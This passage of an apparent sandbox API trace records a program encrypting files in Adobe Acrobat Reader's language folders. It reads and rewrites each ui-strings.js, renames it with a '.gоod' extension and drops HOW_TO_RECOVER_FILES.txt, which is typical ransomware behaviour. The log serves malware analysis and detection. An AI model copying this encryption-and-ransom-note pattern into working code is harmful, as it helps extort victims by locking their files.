(dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0155.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x332ae68 | out: lpFileInformation=0x332ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b)) returned 1 [0155.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0155.124] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.124] GetFileType (hFile=0x650) returned 0x1 [0155.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.124] GetFileType (hFile=0x650) returned 0x1 [0155.124] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0155.125] ReadFile (in: hFile=0x650, lpBuffer=0x332b340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x332b340*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0155.771] CloseHandle (hObject=0x650) returned 1 [0156.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.190] GetFileType (hFile=0x644) returned 0x1 [0156.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.190] GetFileType (hFile=0x644) returned 0x1 [0156.190] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3b0b [0156.190] WriteFile (in: hFile=0x644, lpBuffer=0x33c04c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33c04c0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0156.191] CloseHandle (hObject=0x644) returned 1 [0156.191] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.191] GetFileType (hFile=0x644) returned 0x1 [0156.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.191] GetFileType (hFile=0x644) returned 0x1 [0156.191] ReadFile (in: hFile=0x644, lpBuffer=0x33c2800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33c2800*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0156.219] CloseHandle (hObject=0x644) returned 1 [0156.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.219] GetFileType (hFile=0x644) returned 0x1 [0156.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.219] GetFileType (hFile=0x644) returned 0x1 [0156.219] WriteFile (in: hFile=0x644, lpBuffer=0x33c14f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x33c14f8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0156.219] CloseHandle (hObject=0x644) returned 1 [0156.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0156.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0156.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5952c756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b1b)) returned 1 [0156.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0156.220] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0156.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0156.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0156.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0156.222] GetFileType (hFile=0x644) returned 0x1 [0156.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0156.222] GetFileType (hFile=0x644) returned 0x1 [0156.223] WriteFile (in: hFile=0x644, lpBuffer=0x34423f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34423f0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0156.224] CloseHandle (hObject=0x644) returned 1 [0156.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0156.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x69 [0156.224] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0156.519] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.519] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0156.520] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.520] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0156.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0156.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0156.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0156.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x69 [0156.520] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.520] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.520] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0156.520] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0156.521] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0156.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0156.521] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0156.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x33f1700 | out: lpFileInformation=0x33f1700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f)) returned 1 [0156.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0156.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.522] GetFileType (hFile=0x7fc) returned 0x1 [0156.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.523] GetFileType (hFile=0x7fc) returned 0x1 [0156.523] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0156.523] ReadFile (in: hFile=0x7fc, lpBuffer=0x33f1bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33f1bd8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0156.525] CloseHandle (hObject=0x7fc) returned 1 [0156.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.526] GetFileType (hFile=0x7fc) returned 0x1 [0156.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.526] GetFileType (hFile=0x7fc) returned 0x1 [0156.526] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x409f [0156.526] WriteFile (in: hFile=0x7fc, lpBuffer=0x33f2f00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33f2f00*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0156.527] CloseHandle (hObject=0x7fc) returned 1 [0156.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.527] GetFileType (hFile=0x7fc) returned 0x1 [0156.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.527] GetFileType (hFile=0x7fc) returned 0x1 [0156.527] ReadFile (in: hFile=0x7fc, lpBuffer=0x33f5260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33f5260*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0156.814] CloseHandle (hObject=0x7fc) returned 1 [0156.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0156.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0156.814] GetFileType (hFile=0x7fc) returned 0x1 [0156.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0156.815] GetFileType (hFile=0x7fc) returned 0x1 [0156.815] WriteFile (in: hFile=0x7fc, lpBuffer=0x335d6a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x335d6a0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0156.815] CloseHandle (hObject=0x7fc) returned 1 [0156.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0156.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 